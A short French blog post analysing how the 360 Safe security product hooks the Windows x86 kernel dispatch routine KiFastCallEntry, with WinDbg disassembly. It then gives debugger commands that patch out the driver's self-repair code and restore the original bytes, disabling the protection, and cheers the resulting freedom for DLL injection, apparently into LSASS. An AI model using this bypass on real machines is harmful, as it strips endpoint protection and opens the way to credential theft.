360 Safe et hook noyau

Un billet rapide sur une protection m’ayant surpris : 360 Safe de nos amis chinois… (http://www.360.cn/)

Ce sacripant, même « désactivé » empêche certains accès à LSASS, et sans doute d’autres comportements déviants (en tout cas en x86).
Plutôt que de manipuler la SSDT, un pilote (hookport) place quelques trampolines dans la routine de répartition KiFastCallEntry, et s’assure du maintien de ces derniers :

kd> u nt!KiFastCallEntry+0xe1
nt!KiFastCallEntry+0xe1:
8283f241 8b1487          mov     edx,dword ptr [edi+eax*4]
8283f244 e98f7adc02      jmp     85606cd8 ; trampoline vers les fonctions "HIPS", remplaçant le code original
[…]
kd> u 85606cd8 l1
85606cd8 e92bd5f4fd      jmp     Hookport+0xb208 (83554208) ; second trampoline vers les fonctions "HIPS" de 360
kd> u Hookport+0xc401 ; portions du pilote réécrivant le trampoline
Hookport+0xc401:
83555401 ffa1886a5583    jmp     dword ptr Hookport+0xda88 (83556a88)[ecx]
83555407 c600e9          mov     byte ptr [eax],0E9h  ; instruction ‘jmp’
8355540a a1886a5583      mov     eax,dword ptr [Hookport+0xda88 (83556a88)]
8355540f 8b0d786a5583    mov     ecx,dword ptr [Hookport+0xda78 (83556a78)]
83555415 894801          mov     dword ptr [eax+1],ecx ; pointeur vers le premier trampoline

Ce correcteur n’est lui même pas très protégé :

kd> f 83555407 l3 90 ; nop nop nop ;)
Filled 0x3 bytes
kd> f 83555415 l3 90 ; nop nop nop ;)
Filled 0x3 bytes
kd> eb 8283f244 2b e1 c1 e9 02 ; instructions originales remplaçant le premier trampoline

A nous l’injection de DLL, ou autres joyeusetés !

Finalement le plus compliqué est d’installer le produit, en Mandarin…